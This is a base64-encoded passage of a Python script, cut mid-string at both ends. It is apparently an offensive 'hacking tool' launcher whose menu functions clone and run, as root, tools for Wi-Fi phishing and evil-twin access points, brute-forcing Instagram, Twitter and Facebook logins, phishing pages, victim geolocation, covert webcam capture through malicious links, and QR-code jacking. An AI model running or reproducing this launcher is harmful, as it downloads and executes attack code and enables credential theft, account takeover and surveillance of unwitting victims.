1c2VkIHRvIG1vdW50IHZpY3RpbS1jdXN0b21pemVkIHdlYiBwaGlzaGluZyBhdHRhY2tzIGFnYWluc3QgdGhlCiAgICBjb25uZWN0ZWQgY2xpZW50cyBpbiBvcmRlciB0byBjYXB0dXJlIGNyZWRlbnRpYWxzIChlLmcuIGZyb20gdGhpcmQgcGFydHkgbG9naW4gcGFnZXMgb3IgV1BBL1dQQTIgUHJlLVNoYXJlZCBLZXlzKSBvciBpbmZlY3QgdGhlIAogICAgdmljdGltIHN0YXRpb25zIHdpdGggbWFsd2FyZS4uCiAgICAiIiIpCiAgICBwcmludCgiRm9yIE1vcmUgRGV0YWlscyBWaXNpdCA+PiBodHRwczovL2dpdGh1Yi5jb20vd2lmaXBoaXNoZXIvd2lmaXBoaXNoZXIiKQogICAgd2Nob2ljZT1pbnB1dCgiWzFdSW5zdGFsbCBbMl1SdW4gWzk5XUJhY2sgPj4gIikKICAgIGlmIHdjaG9pY2UgPT0gIjEiOgogICAgICAgIG9zLnN5c3RlbSgiZ2l0IGNsb25lIGh0dHBzOi8vZ2l0aHViLmNvbS93aWZpcGhpc2hlci93aWZpcGhpc2hlci5naXQiKQogICAgICAgIG9zLnN5c3RlbSgiY2Qgd2lmaXBoaXNoZXIgJiYgc3VkbyBweXRob24zIHNldHVwLnB5IGluc3RhbGwiKSAgIAogICAgICAgIHdpcmUoKQogICAgaWYgd2Nob2ljZSA9PSAiMiI6CiAgICAgICAgb3Muc3lzdGVtKCJjZCB3aWZpcGhpc2hlciAmJiBzdWRvIHdpZmlwaGlzaGVyIikKICAgIGVsaWYgd2Nob2ljZSA9PSAiOTkiIDoKICAgICAgICB3aXJlKCkKICAgIGVsc2UgOgogICAgICAgIG1lbnUoKQoKZGVmIHdpZml0ZSgpOgogICAgd2M9aW5wdXQoIlsxXUluc3RhbGwgWzJdUnVuIFs5OV1CQWNrID4+ICIpCiAgICBpZiB3YyA9PSAiMSI6CiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIGdpdCBjbG9uZSBodHRwczovL2dpdGh1Yi5jb20va2ltb2NvZGVyL3dpZml0ZTIuZ2l0IikKICAgICAgICBvcy5zeXN0ZW0oImNkIHdpZml0ZTIgJiYgc3VkbyBweXRob24zIHNldHVwLnB5IGluc3RhbGwgJiYgc3VkbyBwaXAzIGluc3RhbGwgLXIgcmVxdWlyZW1lbnRzLnR4dCIpCiAgICAgICAgdGltZS5zbGVlcCgzKQogICAgICAgIHdpcmUoKQogICAgZWxpZiB3YyA9PSIyIjoKICAgICAgICBvcy5zeXN0ZW0oImNkIHdpZml0ZTIgJiYgc3VkbyB3aWZpdGUiKQogICAgZWxpZiB3YyA9PSAiOTkiOgogICAgICAgIHdpcmUoKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCgpkZWYgZXZpbHR3aW4oKToKICAgIG9zLnN5c3RlbSgiZWNobyBcIkZha2VhcCBpcyBhIHNjcmlwdCB0byBwZXJmb3JtIEV2aWwgVHdpbiBBdHRhY2ssIGJ5IGdldHRpbmcgY3JlZGVudGlhbHMgdXNpbmcgYSBGYWtlIHBhZ2UgYW5kIEZha2UgQWNjZXNzIFBvaW50IFwiIHwgYm94ZXMgLWQgYm95IHwgbG9sY2F0IikKICAgIHVzZXJjaG9pY2UgPSBpbnB1dCgiWzFdSW5zdGFsbCBbMl1SdW4gWzk5XUJhY2sgPj4iKQogICAgaWYgdXNlcmNob2ljZSA9PSAiMSI6CiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIGdpdCBjbG9uZSBodHRwczovL2dpdGh1Yi5jb20vdGhlbGludXhjaG9pY2UvZmFrZWFwICIpCiAgICAgICAgd2lyZSgpCiAgICBlbGlmIHVzZXJjaG9pY2UgPT0gIjIiOgogICAgICAgIG9zLnN5c3RlbSgiY2QgZmFrZWFwICYmIHN1ZG8gYmFzaCBmYWtlYXAuc2giKQogICAgZWxpZiB1c2VyY2hvaWNlID09ICI5OSI6CiAgICAgICAgd2lyZSgpCiAgICBlbHNlIDoKICAgICAgICBtZW51KCkKCmRlZiBzb2NpYWxhdHRhY2soKToKICAgIGNsZWFyU2NyKCkKICAgIG9zLnN5c3RlbSgiZmlnbGV0IC1mIHN0YW5kYXJkIFNvY2lhbE1lZGlhIEF0dGFjayB8IGxvbGNhdCIpCiAgICBwcmludCgiIiIKICAgICAgICBbMV0gSW5zdGFncmFtIEF0dGFjawogICAgICAgIFsyXSBUd2VldGVyIEF0dGFjawogICAgICAgIFszXSBGYWNlYm9vayBBdHRhY2sKICAgICAgICBbNF0gQXBwbGljYXRpb24gQ2hlY2tlcgogICAgICAgIFs5OV1CYWNrIFRvIE1lbnUKICAgICIiIikKICAgIGNob2ljZT1pbnB1dCgiWjRuenUgPj4gIikKICAgIGlmIGNob2ljZSA9PSAiMSI6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIGluc3Rhc2hlbGwoKQogICAgICAgIHNvY2lhbGF0dGFjaygpCiAgICBlbGlmIGNob2ljZSA9PSAiMiI6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIHR3ZWV0c2hlbGwoKQogICAgICAgIHNvY2lhbGF0dGFjaygpCiAgICBlbGlmIGNob2ljZSA9PSAiMyI6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIGZhY2VzaGVsbCgpCiAgICAgICAgc29jaWFsYXR0YWNrKCkKICAgIGVsaWYgY2hvaWNlID09ICI0IiA6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIGFwcGNoZWNrKCkKICAgICAgICBzb2NpYWxhdHRhY2soKQogICAgZWxpZiBjaG9pY2UgPT0gIjk5IiA6CiAgICAgICAgbWVudSgpCiAgICBlbHNlIDoKICAgICAgICBtZW51KCkKCmRlZiBpbnN0YXNoZWxsKCk6CiAgICBvcy5zeXN0ZW0oImVjaG8gXCJJbnN0YXNoZWxsIGlzIGFuIFNoZWxsIFNjcmlwdCB0byBwZXJmb3JtIG11bHRpLXRocmVhZGVkIGJydXRlIGZvcmNlIGF0dGFjayBhZ2FpbnN0IEluc3RhZ3JhbSBcInwgYm94ZXMgLWQgYm95IHwgbG9sY2F0IikKICAgIGluc3RhY2hvaWNlPWlucHV0KCJbMV1pbnN0YWxsIFsyXVJ1biBbOTldQmFjayA+PiAiKQogICAgaWYgaW5zdGFjaG9pY2UgPT0gIjEiOgogICAgICAgIG9zLnN5c3RlbSgic3VkbyBnaXQgY2xvbmUgaHR0cHM6Ly9naXRodWIuY29tL3RoZWxpbnV4Y2hvaWNlL2luc3Rhc2hlbGwgIikKICAgICAgICBvcy5zeXN0ZW0oImNkIGluc3Rhc2hlbGwgJiYgc3VkbyBjaG1vZCAreCBpbnN0YWxsLnNoICYmIHN1ZG8gLi9pbnN0YWxsLnNoIikKICAgICAgICBzb2NpYWxhdHRhY2soKQogICAgZWxpZiBpbnN0YWNob2ljZSA9PSAiMiI6CiAgICAgICAgb3Muc3lzdGVtKCJjZCBpbnN0YXNoZWxsICYmIGNobW9kICt4IGluc3Rhc2hlbGwuc2ggJiYgc2VydmljZSB0b3Igc3RhcnQgJiYgc3VkbyAuL2luc3Rhc2hlbGwuc2giKQogICAgZWxpZiBpbnN0YWNob2ljZSA9PSAiOTkiOgogICAgICAgIHNvY2lhbGF0dGFjaygpCiAgICBlbHNlIDoKICAgICAgICBtZW51KCkKCmRlZiB0d2VldHNoZWxsKCk6CiAgICBvcy5zeXN0ZW0oImVjaG8gXCJUd2VldHNoZWxsIGlzIGFuIFNoZWxsIFNjcmlwdCB0byBwZXJmb3JtIG11bHRpLXRocmVhZGVkIGJydXRlIGZvcmNlIGF0dGFjayBhZ2FpbnN0IFR3aXR0ZXJcInxib3hlcyAtZCBib3kgfCBsb2xjYXQiKQogICAgY2hvaWNlID0gaW5wdXQgKCJbMV1JbnN0YWxsIFsyXVJ1biBbOTldQkFjayA+PiAiKQogICAgaWYgY2hvaWNlID09ICIxIjoKICAgICAgICBvcy5zeXN0ZW0oInN1ZG8gZ2l0IGNsb25lIGh0dHBzOi8vZ2l0aHViLmNvbS90aGVsaW51eGNob2ljZS90d2VldHNoZWxsICYmIGNobW9kIC1SIDc3NSB0d2VldHNoZWxsIikKICAgICAgICBvcy5zeXN0ZW0oImNkIHR3ZWV0c2hlbGwgJiYgc3VkbyAuL2luc3RhbGwuc2giKQogICAgICAgIHNvY2lhbGF0dGFjaygpCiAgICBlbGlmIGNob2ljZSA9PSAiMiI6CiAgICAgICAgb3Muc3lzdGVtKCJjZCB0d2VldHNoZWxsICYmIHNlcnZpY2UgdG9yIHN0YXJ0ICYmIHN1ZG8gLi90d2VldHNoZWxsLnNoIikKICAgIGVsaWYgY2hvaWNlID09ICI5OSI6CiAgICAgICAgc29jaWFsYXR0YWNrKCkKICAgIGVsc2UgOgogICAgICAgIG1lbnUoKQoKZGVmIGZhY2VzaGVsbCgpOgogICAgb3Muc3lzdGVtKCJlY2hvIFwiRmFjZWJhc2ggaXMgYW4gU2hlbGwgU2NyaXB0IHRvIHBlcmZvcm0gYnJ1dGUgZm9yY2UgYXR0YWNrIGFnYWluc3QgRkFjZWJvb2tcbiBbIV1GYWNlYm9vayBibG9ja3MgYWNjb3VudCBmb3IgMSBob3VyIGFmdGVyIDIwIHdyb25nIHBhc3N3b3Jkcywgc28gdGhpcyBzY3JpcHQgY2FuIHBlcmZvcm0gb25seSAyMCBwYXNzL2ggXCJ8Ym94ZXMgLWQgYm95IHwgbG9sY2F0IikKICAgIGNob2ljZSA9IGlucHV0ICgiWzFdSW5zdGFsbCBbMl1SdW4gWzk5XUJhY2sgPj4gIikKICAgIGlmIGNob2ljZSA9PSAiMSI6CiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIGdpdCBjbG9uZSBodHRwczovL2dpdGh1Yi5jb20vdGhlbGludXhjaG9pY2UvZmFjZWJhc2ggJiYgY2htb2QgLVIgNzc1IGZhY2ViYXNoIikKICAgICAgICBvcy5zeXN0ZW0oImNkIGZhY2ViYXNoICYmIHN1ZG8gLi9pbnN0YWxsLnNoIikKICAgICAgICBzb2NpYWxhdHRhY2soKQogICAgZWxpZiBjaG9pY2UgPT0gIjIiOgogICAgICAgIG9zLnN5c3RlbSgiY2QgZmFjZWJhc2ggJiYgc2VydmljZSB0b3Igc3RhcnQgJiYgc3VkbyAuL2ZhY2ViYXNoLnNoIikKICAgIGVsaWYgY2hvaWNlID09ICI5OSI6CiAgICAgICAgc29jaWFsYXR0YWNrKCkKICAgIGVsc2UgOgogICAgICAgIG1lbnUoKQoKZGVmIGFwcGNoZWNrKCk6CiAgICBvcy5zeXN0ZW0oImVjaG8gXCJUb29sIHRvIGNoZWNrIGlmIGFuIGFwcCBpcyBpbnN0YWxsZWQgb24gdGhlIHRhcmdldCBkZXZpY2UgdGhyb3VnaCBhIGxpbmsuXCJ8Ym94ZXMgLWQgYm95IHwgbG9sY2F0IikKICAgIHVzZXJjaG9pY2UgPSBpbnB1dCgiWzFdSW5zdGFsbCBbMl1SdW4gWzk5XUJhY2sgPj4gIikKICAgIGlmIHVzZXJjaG9pY2UgPT0gIjEiOgogICAgICAgIG9zLnN5c3RlbSgic3VkbyBnaXQgY2xvbmUgaHR0cHM6Ly9naXRodWIuY29tL3RoZWxpbnV4Y2hvaWNlL3VuZGVyaGFuZGVkIikKICAgICAgICBzb2NpYWxhdHRhY2soKQogICAgZWxpZiB1c2VyY2hvaWNlID09ICIyIjoKICAgICAgICBvcy5zeXN0ZW0oImNkIHVuZGVyaGFuZGVkICYmIHN1ZG8gY2htb2QgK3ggdW5kZXJoYW5kZWQuc2ggJiYgc3VkbyBiYXNoIHVuZGVyaGFuZGVkLnNoIikKICAgIGVsaWYgdXNlcmNob2ljZSA9PSAiOTkiOgogICAgICAgIHNvY2lhbGF0dGFjaygpCiAgICBlbHNlIDoKICAgICAgICBtZW51KCkKCmRlZiBwaGlzaGF0dGFjaygpOgogICAgY2xlYXJTY3IoKQogICAgb3Muc3lzdGVtKCJmaWdsZXQgLWYgc3RhbmRhcmQgLWMgUGhpc2hpbmcgQXR0YWNrIFRvb2xzIHwgbG9sY2F0IikKICAgIHByaW50KCIiIgogICAgICAgWzFdIFNldG9vbGtpdCAKICAgICAgIFsyXSBTb2NpYWxGaXNoCiAgICAgICBbM10gU2hlbGxwaGlzaAogICAgICAgWzRdIEJsYWNrRXllCiAgICAgICBbNV0gSS1TZWVfWW91KEdldCBMb2NhdGlvbiB1c2luZyBwaGlzaGluZyBhdHRhY2spIAogICAgICAgWzZdIFNheUNoZWVzZSAoR3JhYiB0YXJnZXQncyBXZWJjYW0gU2hvdHMpCiAgICAgICBbN10gUVIgQ29kZSBKYWNraW5nCiAgICAgICBbOTldQmFjayBUbyBNYWluIE1lbnUKICAgICAgICIiIikKICAgIGNob2ljZSA9IGlucHV0KCJaNG56dSA9PT4+ICIpCiAgICBpZiBjaG9pY2UgPT0gIjEiOgogICAgICAgIGNsZWFyU2NyKCkKICAgICAgICBzZXRvb2xraXQoKQogICAgaWYgY2hvaWNlID09ICIyIjoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgc29jaWFsZmlzaCgpCiAgICBpZiBjaG9pY2UgPT0gIjMiOgogICAgICAgIGNsZWFyU2NyKCkKICAgICAgICBzaGVsbHBoaXNoKCkKICAgIGlmIGNob2ljZSA9PSAiNCI6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIGJsYWNrZXllKCkKICAgIGVsaWYgY2hvaWNlID09ICI1IjoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgaXNlZXlvdSgpCiAgICBlbGlmIGNob2ljZSA9PSAiNiI6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIHNheWNoZWVzZSgpCiAgICBlbGlmIGNob2ljZSA9PSAiNyI6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIHFyamFja2luZygpCiAgICBpZiBjaG9pY2UgPT0gIjk5IjoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgbWVudSgpCiAgICBlbGlmIGNob2ljZSA9PSAiIjoKICAgICAgICBtZW51KCkKICAgIGVsc2U6CiAgICAgICAgbWVudSgpCgpkZWYgc29jaWFsZmlzaCgpOgogICAgY2hvaWNlPWlucHV0KCJbMV1pbnN0YWxsIFsyXVJ1biBbOTldQkFjayA+PiAiKQogICAgaWYgY2hvaWNlID09ICIxIjoKICAgICAgICBvcy5zeXN0ZW0oInN1ZG8gZ2l0IGNsb25lIGh0dHBzOi8vZ2l0aHViLmNvbS9VbmRlYWRTZWMvU29jaWFsRmlzaC5naXQgJiYgc3VkbyBhcHQtZ2V0IGluc3RhbGwgcHl0aG9uMyBweXRob24zLXBpcCBweXRob24zLWRldiAteSIpCiAgICAgICAgb3Muc3lzdGVtKCJjZCBTb2NpYWxGaXNoICYmIHN1ZG8gcHl0aG9uMyAtbSBwaXAgaW5zdGFsbCAtciByZXF1aXJlbWVudHMudHh0IikKICAgICAgICB0aW1lLnNsZWVwKDIpCiAgICAgICAgcGhpc2hhdHRhY2soKQogICAgZWxpZiBjaG9pY2UgPT0iMiI6CiAgICAgICAgb3Muc3lzdGVtKCJjZCBTb2NpYWxGaXNoICYmIHN1ZG8gcHl0aG9uMyBTb2NpYWxGaXNoLnB5IHJvb3QgcGFzcyIpCiAgICBlbGlmIGNob2ljZSA9PSI5OSI6CiAgICAgICAgcGhpc2hhdHRhY2soKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCgpkZWYgc2hlbGxwaGlzaCgpOgogICAgY2hvaWNlPWlucHV0KCJbMV1pbnN0YWxsIFsyXVJ1biBbOTldQkFjayA+PiAiKQogICAgaWYgY2hvaWNlID09ICIxIjoKICAgICAgICBvcy5zeXN0ZW0oInN1ZG8gZ2l0IGNsb25lIGh0dHBzOi8vZ2l0aHViLmNvbS90aGVsaW51eGNob2ljZS9zaGVsbHBoaXNoIikKICAgICAgICBwaGlzaGF0dGFjaygpCiAgICBlbGlmIGNob2ljZSA9PSIyIjoKICAgICAgICBvcy5zeXN0ZW0oImNkIHNoZWxscGhpc2ggJiYgc3VkbyBiYXNoIHNoZWxscGhpc2guc2giKQogICAgZWxpZiBjaG9pY2UgPT0iOTkiOgogICAgICAgIHBoaXNoYXR0YWNrKCkKICAgIGVsc2UgOgogICAgICAgIG1lbnUoKQoKZGVmIGJsYWNrZXllKCk6CiAgICBjaG9pY2U9aW5wdXQoIlsxXWluc3RhbGwgWzJdUnVuIFs5OV1CQWNrID4+ICIpCiAgICBpZiBjaG9pY2UgPT0gIjEiOgogICAgICAgIG9zLnN5c3RlbSgic3VkbyBnaXQgY2xvbmUgaHR0cHM6Ly9naXRodWIuY29tL3RoZWxpbnV4Y2hvaWNlL2JsYWNrZXllIikKICAgICAgICB0aW1lLnNsZWVwKDIpCiAgICAgICAgcGhpc2hhdHRhY2soKQogICAgZWxpZiBjaG9pY2UgPT0iMiI6CiAgICAgICAgb3Muc3lzdGVtKCJjZCBibGFja2V5ZSAmJiBzdWRvIGJhc2ggYmxhY2tleWUuc2giKQogICAgZWxpZiBjaG9pY2UgPT0iOTkiOgogICAgICAgIHBoaXNoYXR0YWNrKCkKICAgIGVsc2UgOgogICAgICAgIG1lbnUoKQoKZGVmIGlzZWV5b3UoKToKICAgIG9zLnN5c3RlbSgiZWNobyBcIlshXSBJU2VlWW91IGlzIGEgdG9vbCB0byBmaW5kIEV4YWN0IExvY2F0aW9uIG9mIFZpY3RvbSBCeSBVc2VyIFNvY2lhbEVuZ2luZWVyaW5nIG9yIFBoaXNoaW5nIEVuZ2FnbWVudC4uXG5bIV1Vc2VycyBjYW4gZXhwb3NlIHRoZWlyIGxvY2FsIHNlcnZlcnMgdG8gdGhlIEludGVybmV0IGFuZCBkZWNvZGUgdGhlIGxvY2F0aW9uIGNvb3JkaW5hdGVzIGJ5IGxvb2tpbmcgYXQgdGhlIGxvZyBmaWxlXCJ8Ym94ZXMgLWQgYm95IHwgbG9sY2F0IikKICAgIHVzZXJjaG9pY2UgPSBpbnB1dCgiWzFdSW5zdGFsbCBbMl1SdW4gWzk5XUJhY2sgPj4gIikKICAgIGlmIHVzZXJjaG9pY2UgPT0gIjEiOgogICAgICAgIG9zLnN5c3RlbSgic3VkbyBnaXQgY2xvbmUgaHR0cHM6Ly9naXRodWIuY29tL1ZpcmFsbWFuaWFyL0ktU2VlLVlvdS5naXQiKQogICAgICAgIG9zLnN5c3RlbSgiY2QgSS1TZWUtWW91ICYmIHN1ZG8gY2htb2QgdSt4IElTZWVZb3Uuc2giKQogICAgICAgIHBoaXNoYXR0YWNrKCkKICAgIGVsaWYgdXNlcmNob2ljZSA9PSAiMiI6CiAgICAgICAgb3Muc3lzdGVtKCJjZCBJLVNlZS1Zb3UgJiYgc3VkbyBiYXNoIElTZWVZb3Uuc2giKQogICAgZWxpZiB1c2VyY2hvaWNlID09ICI5OSI6CiAgICAgICAgcGhpc2hhdHRhY2soKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCgpkZWYgc2F5Y2hlZXNlKCk6CiAgICBvcy5zeXN0ZW0oImVjaG8gXCJUYWtlIHdlYmNhbSBzaG90cyBmcm9tIHRhcmdldCBqdXN0IHNlbmRpbmcgYSBtYWxpY2lvdXMgbGlua1wifGJveGVzIC1kIGJveSB8IGxvbGNhdCIpCiAgICB1c2VyY2hvaWNlID0gaW5wdXQoIlsxXUluc3RhbGwgWzJdUnVuIFs5OV1CYWNrID4+ICIpCiAgICBpZiB1c2VyY2hvaWNlID09ICIxIjoKICAgICAgICBvcy5zeXN0ZW0oInN1ZG8gZ2l0IGNsb25lIGh0dHBzOi8vZ2l0aHViLmNvbS90aGVsaW51eGNob2ljZS9zYXljaGVlc2UiKQogICAgICAgIHBoaXNoYXR0YWNrKCkKICAgIGVsaWYgdXNlcmNob2ljZSA9PSAiMiI6CiAgICAgICAgb3Muc3lzdGVtKCJjZCBzYXljaGVlc2UgJiYgc3VkbyBiYXNoIHNheWNoZWVzZS5zaCIpCiAgICBlbGlmIHVzZXJjaG9pY2UgPT0gIjk5IjoKICAgICAgICBwaGlzaGF0dGFjaygpCiAgICBlbHNlIDoKICAgICAgICBtZW51KCkKCmRlZiBxcmphY2tpbmcoKToKICAgIG9zLnN5c3RlbSgiZWNobyBcIlFSIENvZGUgSmFja2luZyAoQW55IFdlYnNpdGUpIFwiIHwgYm94ZXMgLWQgYm95IHwgbG9sY2F0IikKICAgIHVzZXJjaG9pY2UgPSBpbnB1dCgiWzFdSW5zdGFsbCBbMl1SdW4gWzk5XUJhY2sgPj4iKQogICAgaWYgdXNlcmNob2ljZSA9PSAiMSI6CiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIGdpdCBjbG9uZSBodHRwczovL2dpdGh1Yi5jb20vdGhlbGludXhjaG9pY2Uvb2hteXFyICYmIHN1ZG8gYXB0LWdldCBpbnN0YWxsIHNjcm90IikKICAgICAgICBwaGlzaGF0dGFjaygpCiAgICBlbGlmIHVzZXJjaG9pY2UgPT0gIjIiOgogICAgICAgIG9zLnN5c3RlbSgiY2Qgb2hteXFyICYmIHN1ZG8gYmFzaCBvaG15cXIuc2giKQogICAgZWxpZiB1c2VyY2hvaWNlID09ICI5OSI6CiAgICAgICAgcGhpc2hhdHRhY2soKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCgpkZWYgc29jaWFsZmluZGVyKCk6CiAgICBjbGVhclNjcigpCiAgICBvcy5zeXN0ZW0oImZpZ2xldCAtZiBzdGFuZGFyZCBTb2NpYWxNZWRpYSBGaW5kZXIgfCBsb2xjYXQiKQogICAgcHJpbnQoIiIiCiAgICAgICAgWzFdRmluZCBTb2NpYWxNZWRpYSBCeSBGYWNpYWwgUmVjb2duYXRpb24gU3lzdGVtCiAgICAgICAgWzJdRmluZCBTb2NpYWxNZWRpYSBCeSBVc2VyTmFtZQogICAgICAgIFs5OV1CYWNrIFRvIE1haW4gTWVudQogICAgIiIiKQogICAgY2hvaWNlID1pbnB1dCgiWjRuenUgPT4+IikKICAgIGlmIGNob2ljZSA9PSAiMSI6CiAgICAgICAgZmFjaWFsZmluZCgpCiAgICBlbGlmIGNob2ljZSA9PSAiMiI6CiAgICAgICAgdXNlcnJlY29uKCkKICAgIGVsaWYgY2hvaWNlID09ICI5OSI6CiAgICAgICAgbWVudSgpCiAgICBlbHNlIDoKICAgICAgICBtZW51KCkKCmRlZiBmYWNpYWxmaW5kKCk6CiAgICBjaG9pY2U9aW5wdXQoIlsxXUluc3RhbGwgWzJdUnVuIFs5OV1CYWNrID4+IikKICAgIGlmIGNob2ljZSA9PSAiMSI6CiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIGFkZC1hcHQtcmVwb3NpdG9yeSBwcGE6bW96aWxsYXRlYW0vZmlyZWZveC1uZXh0ICYmIHN1ZG8gYXB0IHVwZGF0ZSAmJiBzdWRvIGFwdCB1cGdyYWRlIikKICAgICAgICBvcy5zeXN0ZW0oImVjaG8gXCJbIV1Ob3cgWW91IGhhdmUgVG8gZG8gc29tZSBNYW51YWxseVxuWyFdSW5zdGFsbCB0aGUgR2Vja29kcml2ZXIgZm9yIHlvdXIgb3BlcmF0aW5nIHN5c3RlbVxuWyFdQ29weSAmIFBhc3RlIExpbmsgQW5kIERvd25sb2FkIEZpbGUgQXMgU3lzdGVtIENvbmZpZ3VyYXRpb25cblsjXWh0dHBzOi8vZ2l0aHViLmNvbS9tb3ppbGxhL2dlY2tvZHJpdmVyL3JlbGVhc2VzXG5bISFdT24gTGludXggeW91IGNhbiBwbGFjZSBpdCBpbiAvdXNyL2JpbiBcInwgYm94ZXMgLWQgYm95IikKICAgICAgICB0aW1lLnNsZWVwKDUpCiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIGdpdCBjbG9uZSBodHRwczovL2dpdGh1Yi5jb20vR3JlZW53b2xmL3NvY2lhbF9tYXBwZXIuZ2l0IikKICAgICAgICBvcy5zeXN0ZW0oImNkIHNvY2lhbF9tYXBwZXIvc2V0dXAiKQogICAgICAgIG9zLnN5c3RlbSgic3VkbyBweXRob24zIC1tIHBpcCBpbnN0YWxsIC0tbm8tY2FjaGUtZGlyIC1yIHJlcXVpcmVtZW50cy50eHQiKQogICAgICAgIHNvY2lhbGZpbmRlcigpCiAgICBlbGlmIGNob2ljZSA9PSAiMiI6CiAgICAgICAgb3Muc3lzdGVtKCJjZCBzb2NpYWxfbWFwcGVyL3NldHVwIikKICAgICAgICBvcy5zeXN0ZW0oInN1ZG8gcHl0aG9uIHNvY2lhbF9tYXBwZXIucHkgLWgiKQogICAgICAgIHByaW50KCIiIlwwMzNbOTVtIAogICAgICAgICAgICAgICAgWW91IGhhdmUgdG8gc2V0IFVzZXJuYW1lIGFuZCBwYXNzd29yZCBvZiB5b3VyIEFDIE9yIEFueSBGYWNrIEFjY291bnQKICAgICAgICAgICAgICAgIHswfVR5cGUgaW4gVGVybWluYWwgbmFubyBzb2NpYWxfbWFwcGVyLnB5CiAgICAgICAgXG4gXSIiIikKICAgICAgICBvcy5zeXN0ZW0oImVjaG8gXCJweXRob24gc29jaWFsX21hcHBlci5weSAtZiBbPGltYWdlRm9sZGVybmFtZT5dIC1pIFs8aW1nRm9sZGVyUGF0aD5dIC1tIGZhc3QgWzxBY05hbWU+XSAtZmIgLXR3XCJ8IGJveGVzIC1kIGhlYWRsaW5lIHwgbG9sY2F0IikKICAgIGVsaWYgY2hvaWNlID09ICI5OSIgOgogICAgICAgIHNvY2lhbGZpbmRlcigpCiAgICBlbHNlIDoKICAgICAgICBtZW51KCkKCmRlZiB1c2VycmVjb24oKToKICAgIHVzZXJjaG9pY2UgPSBpbnB1dCgiWzFdSW5zdGFsbCBbMl1SdW4gWzk5XUJhY2sgPj4gIikKICAgIGlmIHVzZXJjaG9pY2UgPT0gIjEiOgogICAgICAgIG9zLnN5c3RlbSgic3VkbyBnaXQgY2xvbmUgaHR0cHM6Ly9naXRodWIuY29tL3RoZWxpbnV4Y2hvaWNlL3VzZXJyZWNvbi5naXQiKQogICAgICAgIG9zLnN5c3RlbSgiY2QgdXNlcnJlY29uICYmIHN1ZG8gY2htb2QgK3ggdXNlcnJlY29uLnNoICIpCiAgICAgICAgdGltZS5zbGVlcCgzKQogICAgICAgIHNvY2lhbGZpbmRlcigpCiAgICBlbGlmIHVzZXJjaG9pY2UgPT0gIjIiOgogICAgICAgIG9zLnN5c3RlbSgiY2QgdXNlcnJlY29uICYmIHN1ZG8gLi91c2VycmVjb24uc2giKQogICAgZWxpZiB1c2VyY2hvaWNlID09ICI5OSI6CiAgICAgICAgc29jaWFsZmluZGVyKCkKICAgIGVsc2UgOgogICAgICAgIG1lbnUoKQoKZGVmIGZvcmVuc2ljKCk6CiAgICBjbGVhclNjcigpCiAgICBvcy5zeXN0ZW0oImZpZ2xldCAtZiBzdGFuZGFyZCBGb3JlbnNpYyBUb29scyB8IGxvbGNhdCAiKQogICAgcHJpbnQoIiIiCiAgICAgICAgWzFdIEJ1bGtfZXh0cmFjdG9yCiAgICAgICAgWzJdIERpc2sgQ2xvbmUgYW5kIElTTyBJbWFnZSBBcXVpcmUKICAgICAgICBbM10gQXV0b1NweSAKICAgICAgICBbOTldQmFjayB0byBNZW51CiAgICAiIiIpCiAgICBjaG9pY2UgPSBpbnB1dCgiWjRuenUgPT0+PiIpCiAgICBpZiBjaG9pY2UgPT0gIjEiIDoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgYnVsa2V4dHJhY3RvcigpCiAgICBlbGlmIGNob2ljZSA9PSAiMiI6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIGd1eW1hZ2VyKCkKICAgIGVsaWYgY2hvaWNlID09ICIzIjoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgYXV0b3BzeSgpCiAgICBlbGlmIGNob2ljZSA9PSAiOTkiOgogICAgICAgIG1lbnUoKQogICAgZWxpZiBjaG9pY2UgPT0gIiI6CiAgICAgICAgbWVudSgpCiAgICBlbHNlIDoKICAgICAgICBtZW51KCkKCmRlZiBidWxrZXh0cmFjdG9yKCk6CiAgICBwcmludCgiIiIKICAgICAgICBbMV1HVUkgTW9kZShEb3dubG9hZCByZXF1aXJlZCkKICAgICAgICBbMl1DTEkgTW9kZQogICAgICAgIFs5OV1CQWNrCiAgICAiIiIpCiAgICBjaG9pY2UgPSBpbnB1dCgiWjRuenUgPj4gIikKICAgIGlmIGNob2ljZSA9PSAiMSI6CiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIGdpdCBjbG9uZSBodHRwczovL2dpdGh1Yi5jb20vc2ltc29uZy9idWxrX2V4dHJhY3Rvci5naXQiKQogICAgICAgIG9zLnN5c3RlbSgibHMgc3JjLyAmJiBjZCAuLiAmJiBjZCBqYXZhX2d1aSAmJiAuL0JFVmlld2VyIikKICAgICAgICBwcmludCgiSWYgeW91IGdldHRpbmcgZXJyb3IgYWZ0ZXIgY2xvbmUgZ28gdG8gL2phdmFfZ3VpL3NyYy8gQW5kIENvbXBpbGUgLkphciBmaWxlICYmIHJ1biAuL0JFVmlld2VyIikKICAgICAgICBwcmludCgiUGxlYXNlIFZpc2l0IEZvciBNb3JlIERldGFpbHMgQWJvdXQgSW5zdGFsbGF0aW9uID4+IGh0dHBzOi8vZ2l0aHViLmNvbS9zaW1zb25nL2J1bGtfZXh0cmFjdG9yICIpCiAgICBlbGlmIGNob2ljZSA9PSIyIjoKICAgICAgICBvcy5zeXN0ZW0oInN1ZG8gYXB0LWdldCBpbnN0YWxsIGJ1bGtfZXh0cmFjdG9yIikKICAgICAgICBwcmludCgiYnVsa19leHRyYWN0b3IgYW5kIG9wdGlvbnMiKQogICAgICAgIG9zLnN5c3RlbSgiYnVsa19leHRyYWN0b3IiKQogICAgICAgIG9